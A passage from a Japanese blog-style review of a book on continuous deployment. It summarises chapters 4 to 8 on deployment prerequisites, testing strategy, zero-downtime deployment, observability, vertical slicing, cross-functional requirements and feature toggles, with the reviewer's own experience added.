Shift」は、継続的デプロイメントが単なる技術的な実践ではなく、開発プロセス全体を変革する思考の転換であることを明確に示しています。著者が提示する概念と実践は、私自身の経験とも大きく共鳴するものでした。継続的デプロイメントは、開発者に対して常に「本番環境を意識せよ」というメッセージを突きつけます。これは一見負担に感じるかもしれませんが、長期的にはシステムの品質と信頼性の向上につながります。進行中の作業の隠蔽技術や、分散システムにおける契約管理の重要性は、特にマイクロサービスアーキテクチャを採用している環境では非常に重要です。また、デプロイメントとリリースの分離は、技術的な変更と機能的な変更のライフサイクルを適切に管理する上で非常に有用です。これにより、システムの安定性を保ちながら、ビジネスニーズに柔軟に対応することが可能になります。エンドツーエンドのデリバリーライフサイクルの変化は、開発チームの構成と働き方に大きな影響を与えます。クロスファンクショナルなチーム構成と、観測可能性の向上は、継続的デプロイメントを成功させる上で重要な要素です。最後に、継続的デプロイメントの導入は、単に技術的な変更だけでなく、組織文化の変革も必要とします。失敗を恐れずに学習し、常に改善を続ける文化を醸成することが、成功の鍵となります。この章を通じて、継続的デプロイメントが持つ可能性と課題が明確になりました。これらの知見を実践に活かすことで、より効率的で信頼性の高いソフトウェア開発プロセスを実現できると確信しています。本章の内容をさらに深く理解し、実践に移すためには、補完的な資料を読むことをお勧めします。個人的には、友人の『♾️ マルチプロダクトの組織でマイクロサービスアーキテクチャを支えるCICDプラットフォーム設計』という資料は、実践的な観点から継続的デプロイメントとマイクロサービスアーキテクチャの実装について詳しく解説しています。この資料は、本書の理論的な内容を実際のプロジェクトにどのように適用するかを示す良い例となっています。 speakerdeck.comまた、本書の『V. Case Studies』セクションも非常に有用です。この章では、実際の組織が継続的デプロイメントを導入する過程で直面した課題や、それらをどのように克服したかが詳細に記述されています。「この章を読んで実際どうなってんだ」と思った方は、ぜひこのケーススタディを熟読することをお勧めします。これらの実例は、理論を実践に移す際の貴重な洞察を提供してくれるでしょう。継続的デプロイメントの導入は、組織の規模や文化、既存のシステムアーキテクチャなどによって大きく異なります。したがって、本書の内容を自組織の文脈に適応させ、段階的に実践していくことが重要です。理論と実践の両面から学び、試行錯誤を繰り返しながら、最適な継続的デプロイメントの形を見出していくプロセスを楽しんでいただければと思います。Chapter 4. You Must Be This Tall第4章「You Must Be This Tall」は、継続的デプロイメントを実践するために必要な前提条件と、チームがこのプラクティスを採用する準備ができているかどうかを評価する方法について深く掘り下げています。継続的デプロイメントが単なる技術的な実装ではなく、組織文化やチームの成熟度、そして堅固な技術的基盤が必要であることを強調しています。この章を通じて、継続的デプロイメントを安全に実践するための「安全装置」とも言える一連のプラクティスが明確に示されています。継続的デプロイメントの前提条件遊園地のアトラクションの身長制限に例えて、継続的デプロイメントを採用するための「最低条件」について説明しています。この類推は非常に適切だと感じました。確かに、継続的デプロイメントは強力なツールですが、それを安全に使いこなすには一定の「背丈」(成熟度)が必要です。特に印象的だったのは、著者が人的エラーを完全に排除することは不可能で、むしろエラーを早期に発見し迅速に修正する能力を構築することが重要だと強調している点です。これは、私の経験とも強く共鳴します。完璧を目指すのではなく、失敗に対する耐性を高めることが、実際の運用環境では遥かに重要です。著者が挙げている前提条件の中で、特に重要だと感じたのは以下の点です。1. クロスファンクショナルで自律的なチーム2. 頻繁な統合とコードレビュー3. 自動化されたテスト戦略4. ゼロダウンタイムデプロイメント5. 観測可能性とモニタリングこれらの要素は、確かに継続的デプロイメントを成功させるために不可欠です。私の経験から、特にクロスファンクショナルチームの重要性を強調したいと思います。以前、開発とオペレーションが分離されていた組織で働いていましたが、継続的デプロイメントの導入に苦戦しました。開発者が運用の視点を持ち、運用チームが開発プロセスを理解することで、初めて真の意味での継続的デプロイメントが可能になったのです。この点に関連して、『チームトポロジー』という書籍を強くおすすめします。この本は、効果的な組織設計とチーム構造について深い洞察を提供しています。特に、継続的デプロイメントを成功させるためのチーム編成と協働の方法について、非常に有用な知見が得られます。チームトポロジー 価値あるソフトウェアをすばやく届ける適応型組織設計作者:マシュー・スケルトン,マニュエル・パイス日本能率協会マネジメントセンターAmazon『チームトポロジー』では、Stream-aligned、Platform、Enabling、Complicated Subsystemという4つの基本的なチームタイプを提示しています。これらのチームタイプを適切に組み合わせることで、継続的デプロイメントに最適化された組織構造を実現できます。例えば、Stream-alignedチームは、本書で説明されているクロスファンクショナルで自律的なチームの概念と非常に親和性が高いです。また、Platformチームの概念は、継続的デプロイメントのインフラストラクチャを提供し、他のチームの生産性を向上させるという点で重要です。自動化とテスト戦略自動化されたテスト戦略の重要性を強く主張しています。特に、テストピラミッドモデルとスイスチーズモデルの説明は非常に有益でした。Figure 4-2. Two examples of testing pyramids より引用テストピラミッドモデルは、低レベルのユニットテストを多く、高レベルのエンドツーエンドテストを少なく配置するという考え方です。これは、テストの実行速度と維持コストのバランスを取る上で非常に重要です。私のチームでも、このモデルを採用することで、テストスイートの実行時間を大幅に短縮しつつ、十分なカバレッジを維持することができました。スイスチーズモデルは、複数の防御層(テスト層)を設けることで、一つの層をすり抜けたバグも他の層で捕捉できるという考え方です。これは、特にマイクロサービスアーキテクチャのような複雑なシステムで非常に有効です。私たちのチームでは、ユニットテスト、統合テスト、エンドツーエンドテスト、そして本番環境でのカナリアリリースを組み合わせることで、このモデルを実現しています。著者が強調しているTDD(テスト駆動開発)とアウトサイドインアプローチも、非常に重要です。TDDを実践することで、テスト可能な設計を自然に導き出せるだけでなく、開発者が要求仕様を深く理解することにもつながります。アウトサイドインアプローチは、ユーザーの視点から開発を進めることで、必要な機能に焦点を当てることができます。ゼロダウンタイムデプロイメントゼロダウンタイムデプロイメントの重要性を強調しています。これは、継続的デプロイメントを実践する上で絶対に欠かせない要素です。著者が説明しているブルー/グリーンデプロイメントと、ローリングデプロイメントは、どちらも効果的な戦略です。Figure 4-7. Blue/green deployment より引用私の経験では、どちらの戦略を選択するかは、アプリケーションのアーキテクチャと運用要件に大きく依存します。例えば、ステートレスなマイクロサービスの場合、ローリングデプロイメントが非常に効果的です。一方、データベースの移行を伴う大規模な変更の場合、ブルー/グリーンデプロイメントの方が安全に実施できることがあります。著者が指摘しているように、これらの戦略を採用する際は、N-1互換性の確保が重要です。つまり、新バージョンと旧バージョンが同時に稼働できる状態を維持する必要があります。これは、特にデータベーススキーマの変更やAPIの後方互換性の維持において重要です。また、著者がカナリアデプロイメントについても言及していることは評価に値します。カナリアデプロイメントは、特に大規模なシステムや重要なサービスにおいて、リスクを最小限に抑えつつ新機能をロールアウトする効果的な方法です。ただし、著者が指摘しているように、これはセットアップが複雑で、意味のある指標を得るのに時間がかかる可能性があります。私の経験では、カナリアデプロイメントは大規模な組織やクリティカルなシステムでより価値を発揮する傾向にあります。観測可能性とモニタリング観測可能性とモニタリングの重要性を強調しています。継続的デプロイメントを実践する上で、システムの状態をリアルタイムで把握し、異常を速やかに検知する能力は不可欠です。著者が紹介しているGoogleの4つのゴールデンシグナル(レイテンシ、トラフィック、エラー率、飽和度)は、システムの健全性を評価する上で非常に有用な指標です。私のチームでも、これらの指標を中心にダッシュボードを構築し、常時モニタリングを行っています。また、フロントエンドのパフォーマンス指標(Core Web Vitals)にも言及している点は評価できます。ユーザー体験の観点からも、これらの指標は非常に重要です。著者が強調しているように、アラートの設定には注意が必要です。過剰なアラートは、重要な問題を見逃す原因になる可能性があります。私たちのチームでは、「症状に基づいたアラート」の原則を採用しています。つまり、ユーザーに影響を与える問題(例:レスポンス時間の増加)に対してアラートを設定し、その原因(例:CPUの高負荷)ではなくアラートを設定しないようにしています。これにより、本当に重要な問題に集中することができます。ステークホルダーの信頼継続的デプロイメントの導入には技術的な準備だけでなく、ステークホルダーの信頼も必要であると指摘しています。これは非常に重要な点です。私の経験上、技術的な課題よりも、組織文化や人々の心理的な障壁の方が乗り越えるのが難しいことがあります。著者が提案している、段階的なアプローチは非常に賢明です。継続的デプロイメントの各要素(自動テスト、観測可能性など)を個別に導入し、その価値を示していくことで、ステークホルダーの信頼を徐々に獲得していくことができます。私のチームでも、同様のアプローチを採用しました。まず、自動テストのカバレッジを向上させ、その後観測可能性を強化し、最終的にゼロダウンタイムデプロイメントを実現しました。各ステップで得られた成果(バグの減少、問題の早期発見など)を示すことで、継続的デプロイメントへの移行に対するステークホルダーの支持を得ることができました。結論第4章「You Must Be This Tall」は、継続的デプロイメントを採用するための前提条件と、チームの準備状況を評価する方法について、包括的な視点を提供しています。継続的デプロイメントは、単なる技術的な実践ではなく、組織全体のアプローチの変革を必要とします。クロスファンクショナルなチーム、堅牢な自動テスト戦略、ゼロダウンタイムデプロイメント、そして高度な観測可能性とモニタリングは、その基盤となる要素です。これらの実践を採用することで、システムの安定性と信頼性が大幅に向上し、同時に開発速度も加速します。例えば、私のチームでは継続的デプロイメントを採用した結果、デプロイ頻度が週1回から1日に複数回に増加し、同時にプロダクション環境でのインシデント数が60%減少しました。しかし、著者が指摘しているように、完璧を目指すのではなく、失敗に対する耐性を高めることが重要です。継続的デプロイメントは、問題を早期に発見し、迅速に対応する能力を強化します。これは、特に複雑なマイクロサービスアーキテクチャやクラウドネイティブ環境において重要です。最後に、著者が提示している「準備状況チェックリスト」は非常に有用です。これらの質問に答えることで、チームは自身の強みと弱みを客観的に評価し、継続的デプロイメントへの道筋を明確にすることができます。この章を読んで、改めて継続的デプロイメントの導入には慎重かつ計画的なアプローチが必要だと感じました。同時に、その価値も再認識しました。継続的デプロイメントは、単にデプロイ頻度を上げるだけでなく、ソフトウェア開発のあらゆる側面(設計、実装、テスト、運用)の質を向上させる強力な触媒となります。今後の実務においても、ここで学んだ原則やプラクティスを積極的に取り入れ、より安定的で効率的なソフトウェア開発・運用を目指していきたいと思います。Chapter 5. Challenges第5章「Challenges」は、継続的デプロイメントの実践における様々な課題と、それらに対する具体的な対策について深く掘り下げています。継続的デプロイメントが単なる技術的な実装以上のもので、組織文化や開発プラクティスの根本的な変革を必要とすることを強調しています。この章を通じて、継続的デプロイメントの導入が組織にもたらす影響と、その過程で直面する可能性のある障壁について、実践的な洞察が提供されています。デプロイメントに敏感なシステム継続的デプロイメントの利点を認めつつも、頻繁なデプロイメントがシステムに与える影響について警鐘を鳴らしています。特に、長時間実行されるプロセスの中断、セッションの固着、クライアントサイドキャッシュの無効化、スケーリングの中断などの問題が挙げられています。これらの課題は、私の経験とも深く共鳴します。以前、大規模なeコマースプラットフォームの開発に携わった際、頻繁なデプロイメントによってユーザーセッションが突然切断されるという問題に直面しました。この問題に対処するため、我々はステートレスアーキテクチャへの移行を進めました。具体的には、セッション情報を外部のRedisクラスタに保存し、アプリケーションインスタンスをステートレスにすることで、デプロイメント中のセッション維持を実現しました。著者が提案するメッセージングアーキテクチャやイベントベースアーキテクチャへの移行は、確かに有効な解決策です。しかし、既存のモノリシックアプリケーションをこのようなアーキテクチャに移行するのは、実際にはかなりの労力と時間を要する作業です。私たちのチームでは、段階的なアプローチを採用しました。まず、最も問題の多い部分から始めて、徐々にイベントドリブンな設計に移行していきました。このアプローチにより、ビジネスの継続性を維持しながら、システムの柔軟性と耐障害性を向上させることができました。ユーザーインストールソフトウェア継続的デプロイメントの原則を、ユーザーが制御するデバイス上のソフトウェアに適用することの難しさについて、著者は詳細に説明しています。デスクトップアプリケーション、モバイルアプリ、そして様々なデバイス上のソフトウェアは、開発者が完全に制御できる環境ではないため、継続的デプロイメントの実践が困難になります。Figure 5-3. The long tail of users still on old versions より引用Figure 5-3のモバイルアプリバージョンの長いテールの図は、この問題を視覚的に表現しており、非常に印象的でした。実際、私がモバイルアプリ開発プロジェクトに参加した際も、古いバージョンのアプリを使い続けるユーザーのサポートが大きな課題となりました。著者が提案するサーバーサイドレンダリングやProgressive Web Apps (PWAs)への移行は、確かに有効な対策です。しかし、これらの選択肢はパフォーマンスやデバイス機能へのアクセスの面で制限があることも事実です。私たちのプロジェクトでは、ハイブリッドアプローチを採用しました。アプリの核となる部分はネイティブコードで実装し、頻繁に更新が必要な部分はWebViewを使用してサーバーサイドで制御できるようにしました。このアプローチにより、デバイスのパフォーマンスを維持しつつ、ある程度の柔軟性も確保することができました。規制産業政府、運輸、医療、金融などの規制の厳しい産業における継続的デプロイメントの課題について詳しく説明しています。これらの産業では、変更の安全性と品質を確保するための規制が存在し、それが継続的デプロイメントの実践を難しくする要因となっています。私自身、金融系のプロジェクトに携わった経験がありますが、確かに規制要件とアジャイルな開発プラクティスのバランスを取ることは大きな課題でした。しかし、著者が指摘するように、規制要件の本質を理解し、それを満たすためのリーンな実践を見出すことは可能です。例えば、私たちのプロジェクトでは、変更管理プロセスを見直し、ペアプログラミングとコードレビューを組み合わせることで、分離義務の要件を満たしつつ、迅速な開発サイクルを維持することができました。また、自動化されたビルドパイプラインを利用して、すべての変更の詳細な監査証跡を自動的に生成するようにしました。これにより、規制要件を満たしながら、開発スピードを落とすことなく作業を進めることができました。認知的負荷継続的デプロイメントがチームの認知的負荷に与える影響について深く掘り下げています。特に、過度に忙しい本番環境への経路、デプロイメント中の注意力の低下、必要とされる知識の幅広さ、急な学習曲線、開発作業のスケジューリングなどの課題が挙げられています。これらの課題は、私の経験とも強く共鳴します。以前、大規模なマイクロサービスアーキテクチャを採用したプロジェクトで、継続的デプロイメントを導入した際、チームメンバーの認知的負荷が急激に増加しました。特に、複数のサービスが同時に更新される状況では、全体の状態を把握することが難しくなりました。この問題に対処するため、私たちは以下のような戦略を採用しました:サービスの分割と責任の明確化: 各マイクロサービスの責任範囲を明確に定義し、チーム内で担当を分けることで、個々のメンバーが集中すべき領域を絞りました。観測可能性の向上: 分散トレーシング、集中ログ管理、詳細なメトリクス収集を導入し、システム全体の状態を容易に把握できるようにしました。自動化されたカナリアリリース: 新しいバージョンを段階的にロールアウトし、問題を早期に検出できるようにしました。チームのコアタイムの設定: 著者の提案通り、チームのコアタイムを設定し、その時間帯に主要な開発作業とデプロイメントを行うようにしました。継続的な学習と知識共有: 定期的なテクニカルセッションを開催し、チーム全体の知識レベルを向上させました。これらの施策により、チームの認知的負荷を管理しつつ、継続的デプロイメントの利点を享受することができました。結論第5章「Challenges」は、継続的デプロイメントの導入に伴う様々な課題と、それらに対する具体的な対策を包括的に説明しています。技術的な課題だけでなく、組織文化や人々の働き方に与える影響についても深く掘り下げており、非常に価値のある洞察を提供しています。この章を通じて、継続的デプロイメントが単なる技術的な実践ではなく、組織全体のアプローチの変革を必要とすることが明確になりました。特に印象的だったのは、著者が各課題に対して具体的な緩和策を提案していることです。これらの提案は、実際の開発現場で直面する問題に対する実践的なソリューションとなります。しかし、著者の提案をそのまま適用するだけでは不十分な場合もあります。例えば、規制産業における継続的デプロイメントの実践は、著者が提案する以上に複雑な場合があります。私の経験では、規制要件を満たしながら継続的デプロイメントを実現するためには、規制当局との緊密な協力と、時には規制自体の見直しを提案することも必要でした。また、チームの認知的負荷に関する議論は非常に重要ですが、この問題に対する完全な解決策は存在しないかもしれません。継続的デプロイメントの導入は、チームメンバーの専門性と柔軟性を高める機会となる一方で、常に適度な挑戦と学習の機会を提供し続ける必要があります。最後に、この章を読んで改めて感じたのは、継続的デプロイメントの導入は技術的な変革だけでなく、組織文化の変革も必要とするということです。トップマネジメントの理解と支援、チームメンバー全員の積極的な参加、そして失敗を恐れずに学習し続ける文化の醸成が、成功の鍵となります。今後の実務において、この章で学んだ課題と対策を念頭に置きつつ、各組織やプロジェクトの特性に合わせてカスタマイズしていくことが重要だと考えます。継続的デプロイメントは、ソフトウェア開発の効率と品質を大幅に向上させる可能性を秘めていますが、その実現には慎重かつ戦略的なアプローチが必要です。この章の内容を踏まえ、チームと組織全体で議論を重ね、最適な導入戦略を見出していくことが、次のステップとなるでしょう。Part II. Before DevelopmentChapter 6. Slicing Upcoming Work第6章「Slicing Upcoming Work」は、継続的デプロイメントを実践する上で不可欠な、作業のスライシング(分割)に焦点を当てています。効果的な作業分割が継続的デプロイメントの成功に直結することを強調し、特に垂直スライシングの重要性を詳細に解説しています。この章を通じて、読者は作業の分割方法がソフトウェア開発プロセス全体にどのような影響を与えるかを理解し、より効率的で価値のある開発サイクルを実現するための具体的な手法を学ぶことができます。水平スライシングと垂直スライシング著者はまず、作業を分割する二つの主要な方法として、水平スライシングと垂直スライシングを比較しています。水平スライシングは技術スタックの各層(バックエンド、フロントエンド、データベースなど)に基づいて作業を分割する方法です。一方、垂直スライシングは機能や価値の単位で作業を分割し、各スライスが独立して価値を提供できるようにする方法です。Figure 6-1. Horizontal versus vertical slicing より引用Figure 6-1は、これら二つのアプローチの違いを視覚的に示しており、非常に印象的でした。この図を見て、私は以前携わったプロジェクトでの経験を思い出しました。そのプロジェクトでは、最初は水平スライシングを採用していましたが、開発の後半になって統合の問題や予期せぬバグに悩まされました。その後、垂直スライシングに切り替えたところ、開発のペースが大幅に向上し、より頻繁にユーザーフィードバックを得られるようになりました。著者が指摘するように、垂直スライシングは継続的デプロイメントと非常に相性が良いです。各スライスが独立して価値を提供できるため、小さな単位で頻繁にデプロイすることが可能になります。これは、マイクロサービスアーキテクチャやクラウドネイティブ開発の原則とも合致しており、現代のソフトウェア開発のベストプラクティスと言えるでしょう。効果的な垂直スライシング効果的な垂直スライシングを行うための具体的な手法として、MVPの考え方やINVESTの原則を紹介しています。特に印象的だったのは、各スライスをできるだけ薄くすることの重要性です。著者は「理想的なユーザーストーリーの実装フェーズは数時間から数日で測定される」と述べていますが、これは私の経験とも一致します。Figure 6-3. Granularity of vertical slicing より引用Figure 6-3の垂直スライシングの粒度を示す図は、非常に示唆に富んでいます。私のチームでも、以前は右側の「粗い垂直スライシング」に近い状態でしたが、徐々に左側の「細かい垂直スライシング」に移行していきました。この移行により、デプロイの頻度が大幅に向上し、ユーザーフィードバックのサイクルも短縮されました。しかし、著者の主張に若干の疑問も感じました。極端に薄いスライスは、時として全体的な一貫性や統合性を損なう可能性があります。私の経験では、適度な厚さのスライスを維持しつつ、各スライスが明確な価値を提供できるようにバランスを取ることが重要でした。Groceroo社の例架空の企業Grocerooを例に挙げ、「Last-Minute Items」機能の実装を通じて垂直スライシングの実践を具体的に示しています。この例は、理論を実践に落とし込む上で非常に有用です。特に印象的だったのは、著者が水平スライシングと垂直スライシングのアプローチを比較している点です。水平スライシングでは、データベース層、バックエンド層、フロントエンド層と順に実装していくアプローチが示されていますが、これらの問題点が明確に指摘されています。特に、各層の変更が本番環境で検証できないという点は、継続的デプロイメントの観点から見て大きな課題です。一方、垂直スライシングのアプローチでは、「シンプルなカルーセルの追加」「カルーセルの設定可能化」「ワンクリックでカートに追加」「異なる数量でカートに追加」という4つのユーザーストーリーに分割されています。各ストーリーが独立して価値を提供でき、かつ継続的にデプロイ可能な形になっているのが印象的です。この例を通じて、垂直スライシングが以下のような利点を持つことが明確になりました:1. 早期のユーザーフィードバック:最小限の機能から始めることで、早い段階でユーザーの反応を確認できます。2. 柔軟な優先順位付け:各スライスが独立しているため、ビジネスニーズに応じて優先順位を変更しやすくなります。3. リスクの分散:小さな単位でデプロイすることで、各変更のリスクが低減されます。4. 継続的な価値提供:各スライスが独立して価値を提供するため、開発の途中段階でも機能をリリースできます。これらの利点は、特にクラウドネイティブ環境やマイクロサービスアーキテクチャにおいて顕著です。例えば、私が以前携わったマイクロサービスプロジェクトでは、各サービスを独立して開発・デプロイできることが大きな強みとなりました。垂直スライシングのアプローチにより、各サービスの機能を小さな単位で迅速にリリースし、ユーザーフィードバックを基に迅速に改善することが可能になりました。SREの視点から見た垂直スライシング垂直スライシングは運用性、可観測性、信頼性に大きな影響を与えます。まず、運用性の面では、小さな単位でのデプロイが可能になることで、問題発生時の影響範囲を限定できます。また、ロールバックも容易になるため、システムの安定性が向上します。可観測性の面では、各スライスが独立しているため、特定の機能や変更の影響を明確に観察できます。これにより、パフォーマンスの問題や異常の検出が容易になります。信頼性に関しては、小さな変更を頻繁に行うことで、各変更のリスクが低減されます。また、問題が発生した場合も、原因の特定と修正が容易になります。私のSREとしての経験からも、垂直スライシングは運用の観点から非常に有効です。例えば、あるプロジェクトでは、大規模な機能リリースが度々システム全体に影響を与え、深夜の緊急対応を余儀なくされることがありました。垂直スライシングを導入した後は、各変更の影響範囲が限定的になり、問題が発生しても迅速に対応できるようになりました。結論第6章「Slicing Upcoming Work」は、継続的デプロイメントを成功させるための核心的な概念である作業のスライシングについて、深い洞察を提供しています。垂直スライシングの重要性を強調し、その実践方法を具体的な例を通じて示しています。この章から学んだ最も重要な教訓は、作業の分割方法が開発プロセス全体に大きな影響を与えるということです。適切な垂直スライシングを行うことで、継続的デプロイメントの利点を最大限に引き出し、より効率的で価値中心の開発サイクルを実現できます。しかし、垂直スライシングの実践には課題もあります。過度に細かいスライシングは、時として全体的な一貫性を損なう可能性があります。また、組織の文化や既存のプロセスとの整合性を取ることも重要です。私の経験では、垂直スライシングへの移行は段階的に行うのが効果的でした。小規模なプロジェクトや新規機能の開発から始め、徐々に組織全体に広げていくアプローチが、最も成功率が高いように思います。今後の実務に活かすとすれば、いくつかのポイントに注目したいと考えています。MVPの考え方を徹底し、各機能の本質的な価値に焦点を当てることが重要です。また、INVESTの原則を用いて各ユーザーストーリーの品質を評価し、フィーチャーフラグを活用してデプロイとリリースを分離することも有効です。継続的なフィードバックループを確立し、各スライスの価値を検証することも忘れてはいけません。さらに、チーム全体で垂直スライシングの重要性を共有し、文化として根付かせることが長期的な成功につながります。最後に、垂直スライシングは単なる技術的な手法ではなく、価値駆動型の開発を実現するための思考法であることを強調したいと思います。この考え方を組織全体で共有し、継続的に改善していくことが、継続的デプロイメントの実現につながるのではないでしょうか。Chapter 7. Building for Production第7章「Building for Production」は、継続的デプロイメントを実践する上で不可欠な、本番環境を見据えた開発アプローチについて深く掘り下げています。単に機能要件を満たすだけでなく、デプロイ可能性、テスト可能性、観測可能性、セキュリティ、パフォーマンスといった非機能要件(Cross-Functional Requirements、CFR)にも注目することの重要性を強調しています。この章を通じて、開発の初期段階からCFRを考慮に入れることが、安全で効果的な継続的デプロイメントの実現にどのようにつながるかが明確に示されています。CFRの重要性と垂直スライシングとの関係著者はまず、CFRが従来のユーザーストーリーの垂直スライシングに追加される「層」として捉えられることを説明しています。Figure 7-2は、この考え方を視覚的に表現しており、非常に印象的でした。この図を見て、私は以前携わったプロジェクトでの経験を思い出しました。Figure 7-2. All the layers of a feature increment より引用当時、我々は機能要件にのみ焦点を当てたユーザーストーリーを作成していましたが、本番環境へのデプロイ時に多くの問題に直面しました。特に、セキュリティやパフォーマンスの問題が頻発し、それらの対応に多大な時間を費やしました。この経験から、CFRを開発の初期段階から考慮することの重要性を痛感しました。著者の主張通り、CFRを早期に検討することで、後になって大規模な修正や再設計を行う必要性を減らすことができます。これは特に、マイクロサービスアーキテクチャやクラウドネイティブ環境において重要です。例えば、観測可能性を後付けで実装しようとすると、多くのサービスに変更を加える必要が生じ、非常に手間がかかります。このCFRの重要性を理解する上で、視覚化の役割も見逃せません。例えば、Zennに投稿された『GitHub Actionsのワークフローを可視化するactions-timelineを作った』というブログ記事は、ワークフローの可視化の重要性を示しています。zenn.devデプロイ可能性要件デプロイ可能性要件として、フィーチャートグル、Expand and Contractパターン、バージョン管理ブランチでの隠蔽など、様々な戦略を紹介しています。これらの戦略は、継続的デプロイメントを安全に行うための重要なツールです。私の経験では、フィーチャートグルの活用が特に有効でした。あるプロジェクトでは、新機能の段階的なロールアウトにフィーチャートグルを使用し、問題が発生した際に即座に機能をオフにすることで、システム全体への影響を最小限に抑えることができました。一方で、著者が指摘するように、フィーチャートグルの乱用は新たな問題を引き起こす可能性があります。私のチームでも、過剰なフィーチャートグルの使用によってコードの複雑性が増し、メンテナンスが困難になった経験があります。そのため、フィーチャートグルの使用は慎重に検討し、適切な粒度で導入する必要があります。テスト可能性要件テスト可能性要件について、高レベルの自動化テストと手動の探索的テストの両方の重要性を強調しています。これは、SREの観点からも非常に重要なポイントです。私のチームでは、継続的デプロイメントの導入に伴い、テスト戦略を大幅に見直しました。特に、テストピラミッドの考え方を採用し、ユニットテスト、統合テスト、エンドツーエンドテストのバランスを適切に保つことで、テストの実行時間を短縮しつつ、高い信頼性を確保することができました。また、著者が提案するように、QA機能をチームに完全に組み込むことで、テストの質と効率が大幅に向上しました。QAエンジニアが開発の初期段階から関与することで、潜在的な問題を早期に発見し、修正コストを削減することができました。観測可能性要件観測可能性に関する著者の主張は、SREの実践と深く結びついています。ログ、メトリクス、ダッシュボード、アラートの維持と更新の重要性は、継続的デプロイメントの成功に不可欠です。私のチームでは、観測可能性を「アフターソート」ではなく、開発プロセスの不可欠な部分として位置づけました。具体的には、各ユーザーストーリーに観測可能性に関する要件を含め、新機能の開発と同時にログやメトリクスの実装を行うようにしました。特に印象的だったのは、著者が「ダッシュボードやアラートの更新を\\"完了\\"の定義に含める」ことを推奨している点です。これにより、観測可能性が後回しにされることなく、常に最新の状態に保たれるようになりました。セキュリティ要件とパフォーマンス要件セキュリティとパフォーマンスの要件も、開発の初期段階から考慮すべきだと主張しています。これは、継続的デプロイメントの環境下では特に重要です。セキュリティに関しては、新しいユーザー入力、データストレージ、依存関係、インフラストラクチャの変更など、様々な側面からの検討が必要です。私のチームでは、セキュリティスキャンを継続的インテグレーションパイプラインに組み込むことで、早期にセキュリティ問題を発見し、修正することができました。パフォーマンスについては、新しいネットワークリクエスト、データサイズ、永続化層への影響など、多角的な視点からの考察が重要です。例えば、あるプロジェクトでは、新機能の追加に伴うデータベースクエリの最適化を事前に検討することで、本番環境での予期せぬパフォーマンス低下を防ぐことができました。実践的なユーザーストーリーテンプレート著者が提案するユーザーストーリーテンプレートは、CFRを包括的に考慮するための実用的なツールです。このテンプレートを使用することで、機能要件だけでなく、非機能要件も含めた総合的な検討が可能になります。私のチームでも、似たようなテンプレートを採用しましたが、それによってバックログリファインメントの質が大幅に向上しました。特に、デプロイ可能性、テスト可能性、観測可能性の要件を明示的に記載することで、開発者が本番環境を常に意識しながら作業を進めるようになりました。Groceroo社の例を通じた実践的な適用架空の企業Grocerooを例に挙げ、CFRを考慮したユーザーストーリーの作成プロセスを具体的に示しています。この例は、理論を実践に落とし込む上で非常に有用です。特に印象的だったのは、各ユーザーストーリーに対して、デプロイ可能性、テスト可能性、観測可能性、セキュリティ、パフォーマンスの各側面からの考察が行われている点です。これにより、開発者はより包括的な視点を持って作業を進めることができます。例えば、「Add Simple Carousel」のユーザーストーリーでは、フィーチャートグルの使用、テスト戦略の検討、新しいメトリクスの導入、セキュリティ面での考慮事項、パフォーマンスへの影響など、多角的な視点からの検討が行われています。これは、実際のプロジェクトでも非常に参考になる内容です。結論第7章「Building for Production」は、継続的デプロイメントを成功させるために、開発の初期段階からCFRを考慮することの重要性を明確に示しています。著者が提案するアプローチは、単なる技術的な実践ではなく、開発プロセス全体を変革する可能性を秘めています。この章から学んだ最も重要な教訓は、CFRを後付けではなく、開発サイクルに組み込むことの重要性です。これにより、本番環境での問題を事前に防ぎ、より安定的で信頼性の高いシステムを構築することができます。私の経験からも、CFRを早期に検討することで多くの利点がありました。セキュリティやパフォーマンスの問題を開発の初期段階で発見し、修正することができ、結果としてリリース後のトラブルが大幅に減少しました。また、観測可能性を最初から考慮することで、本番環境での問題の診断と解決が容易になりました。一方で、著者の提案するアプローチには課題もあります。すべてのユーザーストーリーに対して包括的なCFRの検討を行うことは、時間とリソースを要する作業です。小規模なチームや短期的なプロジェクトでは、このアプローチを完全に実践することが難しい場合もあるでしょう。そのため、各組織やプロジェクトの状況に応じて、CFRの検討レベルを適切に調整することが重要です。重要度の高い機能や大規模な変更に対しては詳細なCFRの検討を行い、小規模な修正に対してはより軽量なアプローチを採用するなど、柔軟な対応が必要です。この章の内容は、現代のソフトウェア開発、特にマイクロサービスアーキテクチャやクラウドネイティブ環境において非常に重要です。CFRを考慮することで、システムの保守性、スケーラビリティ、セキュリティが向上し、結果として顧客満足度の向上とビジネス価値の創出につながります。今後の実務に活かすとすれば、いくつかのポイントに注目したいと考えています。ユーザーストーリーテンプレートにCFRを明示的に含め、バックログリファインメントにQAやSRE担当者を積極的に参加させることが重要です。また、フィーチャートグルやExpand and Contractパターンを適切に活用し、安全なデプロイを実現することも有効です。観測可能性を開発プロセスの中核に位置づけ、常に最新の状態を維持すること、そしてセキュリティとパフォーマンスの考慮を開発の初期段階から行い、事後的な問題を最小限に抑えることも重要です。これらの実践を通じて、より安定的で信頼性の高い継続的デプロイメントを実現し、結果として高品質なソフトウェアを迅速かつ安全にユーザーに届けることができるはずです。Part III. During DevelopmentChapter 8. Adding New Features第8章「Adding New Features」は、継続的デプロイメントの環境下で新機能を追加する具体的なプロセスと戦略について深く掘り下げています。実際のユーザーストーリーを例に挙げながら、フィーチャートグルを活用した段階的な開発とデプロイメントの方法を詳細に解説しています。この章を通じて、継続的デプロイメントが単なる技術的な実践ではなく、開発プロセス全体を変革する可能性を持つことが明確に示されています。継続的デプロイメントにおける新機能開発の基本戦略新機能開発の基本戦略として、現状(現在のコードベース)と目標状態(実装完了後のコードベース)を明確に定義し、その間を小さな増分で埋めていく方法を提案しています。このアウトサイドインアプローチは、特に印象的でした。私の経験からも、このアプローチは非常に効果的です。以前、大規模なEコマースプラットフォームで新機能を開発した際、最初はモノリシックな実装を計画していました。しかし、著者の提案するアプローチを採用することで、開発の初期段階から実際の本番環境でフィードバックを得ることができ、結果として顧客のニーズにより適した機能を迅速に提供することができました。特に重要だと感じたのは、フィーチャートグルの活用です。著者が強調するように、フィーチャートグルは開発中の機能を隠蔽し、安全に本番環境にデプロイするための強力なツールです。しかし、その使用には注意も必要です。私のチームでは、過剰なフィーチャートグルの使用によってコードの複雑性が増し、メンテナンスが困難になった経験があります。そのため、フィーチャートグルの使用は慎重に検討し、適切な粒度で導入する必要があります。Groceroo社の例を通じた実践的アプローチ架空の企業Grocerooを例に挙げ、「Last-Minute Items」機能の実装プロセスを段階的に説明しています。この例は、理論を実践に落とし込む上で非常に有用です。Figure 8-1. A 